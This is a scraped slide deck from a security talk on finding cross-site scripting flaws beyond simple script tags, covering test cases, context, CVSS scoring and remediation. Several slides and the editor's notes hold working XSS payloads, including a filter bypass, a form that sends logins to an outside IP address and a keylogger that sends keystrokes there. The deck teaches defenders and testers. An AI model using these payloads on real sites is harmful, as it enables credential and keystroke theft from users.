Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 
costume and set research powerpoint presentation
costume and set research powerpoint presentationcostume and set research powerpoint presentation
costume and set research powerpoint presentation
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial Buildings
 

Application Context and Discovering XSS without

  • 1. Application Context and Discovering XSS without <Script> Todd Benson
  • 2. Overview • • • • • • • Review XSS Discuss XSS test cases and discovery Context CVSS Scoring Exploiting Complimentary Vulnerabilities Remediation
  • 3. XSS Review • Risk level: Moderate • Description: Cross-Site Scripting results from application parameters that allow user-supplied input to be presented in subsequent responses. In particular, when the application allows HTML and JavaScript special characters to be reflected, an attacker can cause the victim to observe different application behavior than expected. • Exploitation vector: In XSS scenarios, the application allows attacker to use the application as a launching point for attacks against victims’ workstations. An attacker with knowledge of the vulnerability can construct URLs to appropriate PACTS application pages that cause malicious activity within the victim’s browser. • Recommendation: Validate user-supplied input server-side. Sanitize special characters (e.g., <, >, “, ‘, etc) prior to returning those values to a requesting client.
  • 4. XSS Test Cases - Formal 1. Submit payloads to each request parameter 2. Identify any instances of the application returning the request parameter unmodified 3. Find the location within the HTML of the supplied input and review the surrounding HTML to identify potential payloads 4. Submit various possible payloads to the application via identified parameters 5. If payloads are returned unmodified, confirm with a browser 6. If the payloads are modified, attempt to bypass the server-side filters
  • 5. XSS Discovery • Basic Reflection – XSSTEST • Filter Detection – – – – – – – – <XSSTEST> <"';()> "';() %3cXSSTEST%3e %3c%22%27%3b%28%29%3e %22%27%3b%28%29 %25%33%63XSSTEST%25%33%65 %25%33%63%25%32%32%25%32%37%25%33%62%25%32%38%25% 32%39%25%33%65 – %25%32%32%25%32%37%25%33%62%25%32%38%25%32%39
  • 6. XSS Test Cases – In reality 1. 2. 3. 4. Discover XSS - Tool(s) Confirm existence Show PoC (Alert popup) Craft an exploit – Filter? – How easily is the exploit detected? – Will the exploit run most or all of the time? – What are factors that may not allow it to run? 5. With other Vulns
  • 7. Discovering XSS Using tools – Pretty good, for reflective – Some are better than others – Even when they are good, they can only do so much – At best, PoC – Don’t understand context
  • 8. Context What do we mean by context?  What… area of the application?  Where… in the page is the payload injected?  Who… is the client (User role AND browser)?  How…. will it be exploited?
  • 10. XSS – Login Demo • Simple page – Enter username on one page and submit – Enter password and submit – Checks credentials – Filters against <script> and variants
  • 11. XSS – Login Demo (cont) Simple "><script>alert(1);</script><!--
  • 12. XSS – Login Demo (cont) Filter Bypass " type="hidden" /></center></form><object data="data:text/html;charset=utf-8; base64,PHNjcmlwdD5hbGVydCgxKTs8L3Njcm lwdD4NCg%3D%3D" /></body></html><!--
  • 13. XSS – Login Demo (cont) Form abuse " type=hidden></form><form action="http://156.132.142.11/pa sswords.php method="get"><input name="Username" value="
  • 14. XSS without < or > - Demo • Page has 6 different inputs, each one exploitable • For demo purposes only, not meant to be practical or realistic • < and > are filtered – All exploits must be done in context
  • 15. XSS without < or > - Demo (cont) Payloads • Number: ';alert(1);a=' • Link: Test" onclick=alert(1) name=" • Image: a" onerror=alert(1) name=" ## use onload instead?
  • 16. XSS without < or > - Demo (cont) Payloads • Name: Todd";} catch(e) {}; alert(1); try{ a=" • Comment: test" type="image" src="a" onerror=alert(1) name=" • Color: ff000;display:block;position: absolute;top:0;left:0;width:999em; height:999em onmouseover=alert(1)
  • 17. Exploiting – Crafting an Exploit What can you do? • Modify the page (Site defacement) • Key Logger • Redirect Browser (Forced Browsing) – Steal Cookie (Session hijacking?) – XSSF – BeEF – Load remotely hosted scripts • Data theft
  • 18. Exploiting – Crafting an Exploit (Cont) What else???? • Combination: – Number: '; function test() { var elem = document.getElementById("Comment"); elem.value = 'My default value';}; a=‘ – Comment: " onblur="test();" id="Comment
  • 19. Complimentary Vulns • • • • • • • GET/POST HttpOnly Session Hijacking Clickjacking CSRF File Upload What else??? XSS GET POST Clickjacking HTTPOnly Session Hijacking CSRF
  • 20. CVSS Scoring Steps • One tool finds it – (Report Confidence: Unconfirmed; Exploitability: Unproven that exploit exists) • Two tools find it – (Report Confidence: Uncorroborated) • Manual verification in browser – (Report Confidence: Confirmed) • Popup – (Exploitability: Proof of concept code) • Exploit – (Exploitability: Functional exploit exists)
  • 21. CVSS Scoring Steps (Cont) Impact Metrics; General Modifiers; Access Complexity; Exploitability; • Type of exploit • Refined exploit • Complimentary vulns
  • 22. Remediation • <>"'=; • Properly Escape all untrusted data based on context (Use a anti-XSS library) • Use Content Security Policy
  • 23. Summary • <script>alert(1);</script> isn’t enough to discover XSS and evaluate risk • Context – Context – Context – of payloads – of who the user is – of location in application – of relation to other vulns

Editor's Notes

  1. Can Browser “Forgiveness” be used?
  2. Where? :HTML Body, HTM Attributes, GET parameter, SRC/HREF URL, CSS, JavaScript, DOM
  3. Keep in mind, AJAX or URL shorteners may help in exploiting the vulnerability.Modify the page (Site defacement):  &apos;; document.title = &apos;Hacked!!!!&apos;; a=&apos;Key Logger:   &apos;; document.onkeypress = function logKey(k) { new Image().src=&apos;http://156.132.142.11/log.jsp?data=&apos;%2bk.which; };var a=&apos;Redirect Browser (Forced Browsing): &apos;; document.location=&quot;http://www.google.com&quot;; a=&apos;